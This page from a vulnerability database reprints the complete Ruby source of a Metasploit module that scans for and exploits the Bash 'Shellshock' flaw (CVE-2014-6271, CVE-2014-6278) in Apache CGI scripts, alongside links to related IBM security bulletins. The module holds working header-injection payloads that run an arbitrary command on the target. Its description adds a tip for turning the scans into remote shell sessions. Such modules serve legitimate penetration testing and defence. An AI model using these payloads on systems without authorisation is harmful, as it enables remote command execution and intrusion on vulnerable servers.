Lucene search
K

Apache Mod_cgi Bash Environment Variable Injection (Shellshock) Scanner

🗓️ 01 Sep 2024 00:00:00Reported by Michal Zalewski, wvu, Stephane Chazelas, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 209 Views

Scans for Apache mod_cgi Bash Environment Variable Injection vulnerability, setting HTTP_USER_AGENT to a malicious function definition. Requires Metasploit and targets CGI scripts in the Apache web server.

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Workload Deployer (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
15 Jun 201807:01
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect SmartCloud Provisioning for IBM Provided Software Virtual Appliance
17 Jun 201822:30
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM SmartCloud Entry Appliance (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
19 Jul 202000:49
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in bash affect IBM Flex System Chassis Management Module (CMM)
31 Jan 201902:25
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain Brocade products that IBM resells for use with IBM BladeCenter (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
31 Jan 201901:35
ibm
IBM Security Bulletins
Security Bulletins for IBM Tealeaf Customer Experience offerings
16 Jun 201819:35
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain IBM N Series products (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Jun 201800:08
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Smart Analytics System 5600 (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
16 Jun 201813:58
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM PureData System for Operational Analytics (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Oct 201903:50
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Flex System Manager (FSM): (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187)
31 Jan 201901:30
ibm
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner',  
'Description' => %q{  
This module scans for the Shellshock vulnerability, a flaw in how the Bash shell  
handles external environment variables. This module targets CGI scripts in the  
Apache web server by setting the HTTP_USER_AGENT environment variable to a  
malicious function definition.  
  
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your  
CMD, set ExitOnSession false, run -j, and then run this module to create  
sessions on vulnerable hosts.  
  
Note that this is not the recommended method for obtaining shells.  
If you require sessions, please use the apache_mod_cgi_bash_env_exec  
exploit module instead.  
},  
'Author' => [  
'Stephane Chazelas', # Vulnerability discovery  
'wvu', # Metasploit module  
'lcamtuf' # CVE-2014-6278  
],  
'References' => [  
[ 'CVE', '2014-6271' ],  
[ 'CVE', '2014-6278' ],  
[ 'OSVDB', '112004' ],  
[ 'EDB', '34765' ],  
[ 'URL', 'https://access.redhat.com/articles/1200223' ],  
[ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ]  
],  
'DisclosureDate' => '2014-09-24',  
'License' => MSF_LICENSE,  
'Notes' => {'AKA' => ['Shellshock']}  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Path to CGI script']),  
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),  
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),  
OptString.new('CMD', [true, 'Command to run (absolute paths required)',  
'/usr/bin/id']),  
OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271',  
['CVE-2014-6271', 'CVE-2014-6278']])  
])  
end  
  
def check_host(ip)  
res = req("echo #{marker}", datastore['CVE'])  
  
if res && res.body.include?(marker * 3)  
report_vuln(  
:host => ip,  
:port => rport,  
:name => self.name,  
:refs => self.references  
)  
return Exploit::CheckCode::Vulnerable  
elsif res && res.code == 500  
injected_res_code = res.code  
else  
return Exploit::CheckCode::Safe  
end  
  
res = send_request_cgi({  
'method' => datastore['METHOD'],  
'uri' => normalize_uri(target_uri.path.to_s)  
})  
  
if res && injected_res_code == res.code  
return Exploit::CheckCode::Unknown  
elsif res && injected_res_code != res.code  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def run_host(ip)  
return unless check_host(ip) == Exploit::CheckCode::Vulnerable  
  
res = req(datastore['CMD'], datastore['CVE'])  
  
if res && res.body =~ /#{marker}(.+)#{marker}/m  
print_good("#{$1}")  
report_vuln(  
:host => ip,  
:port => rport,  
:name => self.name,  
:refs => self.references  
)  
end  
end  
  
def req(cmd, cve)  
case cve  
when 'CVE-2014-6271'  
sploit = cve_2014_6271(cmd)  
when 'CVE-2014-6278'  
sploit = cve_2014_6278(cmd)  
end  
  
send_request_cgi(  
'method' => datastore['METHOD'],  
'uri' => normalize_uri(target_uri.path),  
'headers' => {  
datastore['HEADER'] => sploit  
}  
)  
end  
  
def cve_2014_6271(cmd)  
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}  
end  
  
def cve_2014_6278(cmd)  
%Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }}  
end  
  
def marker  
@marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation